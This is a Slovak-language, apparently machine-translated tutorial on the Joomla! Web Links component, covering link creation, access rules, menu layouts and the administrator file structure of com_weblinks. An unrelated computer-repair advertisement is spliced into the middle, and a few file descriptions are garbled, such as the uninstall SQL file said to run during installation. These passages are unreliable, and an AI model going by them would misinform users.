Komponent Web Links poskytuje jednoduchý spôsob organizácie obsahu, ktorý obsahuje odkazy na iné stránky. Každý prvok pozostáva z adresy URL (odkazu) a voliteľného textu. Jednotlivé odkazy sú zoskupené do kategórií. Podobne ako obsah, aj odkazy môžu vytvárať ľudia, ktorí pridávajú obsah na stránku, upravujú ho alebo publikujú, nielen správcovia, ktorí majú prístup k ovládaciemu panelu.

Podobne ako obsah, aj odkazy je možné upravovať na prednej strane webovej stránky. Používateľom s právom upravovať odkazy sa pri prehliadaní stránky zobrazí ikona Upraviť. V predvolenom nastavení sa na úpravu odkazov vzťahujú rovnaké pravidlá ako na úpravu obsahu, s výnimkou toho, že pre odkazy neexistuje právo „upravovať vlastné“. Kľúčový rozdiel medzi odkazmi a obsahom je v tom, že funkcie riadenia prístupu sa aplikujú nie na úrovni jednotlivých odkazov, ale na úrovni komponentu ako celku a kategórií, ku ktorým sú priradené konkrétne odkazy (táto schéma sa môže v neskorších vydaniach zmeniť Joomla! 3).

Rovnako ako pri vytváraní obsahu a iných kľúčových komponentov, ak chcete vytvoriť nový odkaz v oblasti správcu stránky, musíte kliknúť na ikonu Nový na paneli s nástrojmi. Do formulára, ktorý sa otvorí, zadajte názov, samotný odkaz a popis (toto pole je voliteľné). Môžete si tiež vybrať, čo sa stane po kliknutí na odkaz: stránka sa napríklad otvorí na tej istej karte alebo okne prehliadača, na novej karte alebo okne, vo vyskakovacom modálnom alebo nemodálnom okne, s ovládacími prvkami navigácie prehliadača alebo bez nich . Tieto nastavenia nájdete na karte alebo v rozbaľovacom zozname Základné možnosti. Experimentujte s rôznymi možnosťami. Ako získavate skúsenosti, môžete nájsť využitie pre každú z možností, aj keď najbežnejšie je použitie odkazu v tom istom okne prehliadača.

Ak je váš počítač pokazený alebo nie ste spokojní s jeho prácou a chcete počítač opraviť - naši špecialisti na servis počítačov vám pomôžu.

Správca ponúk podporuje vytváranie položiek ponuky pre tri typy rozložení zobrazenia prepojenia:

  • Zoznam odkazov v kategórii (List Web Links in a Category). Toto rozloženie je navrhnuté tak, aby zobrazilo zoznam všetkých odkazov vo vybranej kategórii; pre každý odkaz sa zobrazí zodpovedajúci popis. Kliknutím na odkaz sa dostanete na zdroj, na ktorý odkaz ukazuje.
  • Zoznam kategórií odkazov (List All Web Links Categories). V tomto rozložení sú uvedené všetky kategórie, ktoré existujú v komponente Web Links, ktoré má používateľ právo prezerať. Každý nadpis je odkazom na rozloženie zoznamu kategórií, v ktorom sú uvedené všetky podkategórie vo vybratej kategórii.
  • Vytvorte prepojenie (Odoslať webový odkaz). Toto rozloženie obsahuje formulár na vytvorenie nového odkazu.

Neexistuje spôsob, ako priamo zobraziť jeden odkaz na stránku s príslušným popisom. Rovnaký efekt však možno dosiahnuť vytvorením kategórie s jedným odkazom a použitím rozloženia zoznamu obsahu kategórie. Ak potrebujete v ponuke odkaz, ktorý vedie priamo na inú stránku, mali by ste na to vybrať položku ponuky typu Externá adresa URL (Externý odkaz). Pre odkazy, ako aj pre komponenty, sa predvolené a všeobecné nastavenia konfigurujú na obrazovke, ktorá sa otvorí po kliknutí na tlačidlo Možnosti v oblasti správy lokality. Uvidíte niekoľko kariet obsahujúcich predvolené nastavenia pre všetky odkazy na vašej webovej lokalite. Tieto nastavenia však možno prepísať na základe jednotlivých odkazov.

Komponent Web Links je dobrým riešením na správu a zobrazovanie niektorých špecifických typov obsahu. Často sa napríklad používa na definovanie odkazov na externé zdroje informácií o určitej téme. Tiež uľahčuje zobrazenie adresárov, ako je adresár výrobcov produktov alebo iných ľudí či spoločností, ktoré si dokonca môžu priplatiť za zaradenie do zoznamu. Môžete tiež vytvoriť stránku s odkazmi na webové lokality vašich prispievateľov alebo odporúčané blogy. Ďalšou možnosťou je použiť odkazy na odporúčané články o vašej organizácii alebo téme, ktorá vás zaujíma na iných stránkach. Tento komponent môžete dokonca použiť na správu odkazov na dokumenty a iné časti vašej webovej lokality.

Začnime sa pozerať na komponenty tak, že sa pozrieme na to, ako základný komponent Weblinks funguje na back-ende webovej stránky. Tento komponent, ktorý je typický pre túto časť webu, je veľmi podobný jeho ostatným komponentom na správu článkov, používateľov, modulov a pod.

Programové súbory pre tento komponent sú uvedené nižšie. Všetky tieto súbory sú v priečinku administator/components/com_weblinks. Vo zvyšku tejto kapitoly sú všetky názvy súborov komponentov Weblinks relatívne k tomuto domovskému priečinku, pokiaľ nie je uvedené inak. Väčšina súborov je usporiadaná podľa vzoru MVC. Najmä všetky súbory zobrazenia sa nachádzajú v podpriečinku views a všetky hlavné súbory modelu a ovládača sa nachádzajú v podpriečinkoch modelov a ovládačov. Sú doplnené aj o inštalačné, konfiguračné a pomocné súbory.

Súbory administratívnej časti komponentuWebové odkazy okrem súborov index.html

  • controllers/weblink.php - Hlavný ovládač na úpravu Single web link controller
  • controllers/weblinks.php - Hlavný ovládač na zostavenie ovládača a zobrazenie zoznamu webových odkazov na obrazovke Weblinks Manager
  • helpers/weblinks.php - Poskytuje rôzne metódy používané v ovládačoch a zobrazeniach
  • models/fields/ordering.php – model JformField na zobrazenie stĺpca pre usporiadanie webových odkazov na obrazovke správcu webových odkazov
  • models/forms/weblink.xml – súbor XML používaný v triede Jform-Model Field na usporiadanie formulára so vstupnými poľami a úpravu webových odkazov na obrazovke
  • models/weblink.php - Model pre jednoobrazovkový model webového odkazu
  • models/weblinks.php - Model pre formulár obrazovky dispečera Model webových odkazov
  • sql/install.mysql.utf8.sql – súbor SQL na zostavenie tabuľky webových odkazov počas inštalácie
  • sql/uninstall.mysql.ut8.sql – súbor SQL na odstránenie tabuľky webových odkazov počas inštalácie
  • tables/weblink.php - Poskytuje triedu Model
  • views/weblink/tmpl/edit_metadata.php – Súbor zdrojového rozloženia na úpravu metadát webového odkazu

Administratívna časť komponentu Weblinks

  • views/weblink/tmpl/edit_params.php – Súbor zdrojového rozloženia na úpravu možností výberu jedného webového odkazu
  • views/weblink/tmpl/edit.php – Súbor zdrojového rozloženia na úpravu webového odkazu
  • views/view.html.php - Hlavná trieda zobrazenia na zobrazenie jedného webového odkazu vo formáte HTML Zdrojový súbor rozloženia pre správcu webových odkazov
  • views/weblinks/view.html.php – Hlavná trieda zobrazenia na zobrazenie webových odkazov vo formáte HTML priamo na obrazovke správcu webových odkazov
  • access.xml – súbor XML, ktorý poskytuje zoznam akcií pre systém zoznamu prístupových práv (ACL).
  • config.xml – súbor XML, ktorý poskytuje zoznam možností konfigurácie pre komponent
  • controller.php - Hlavná trieda ovládača
  • weblinks.php - Vstupný bod pre požiadavku
  • weblinks.xml - súbor XML používaný na kontrolu procesu inštalácie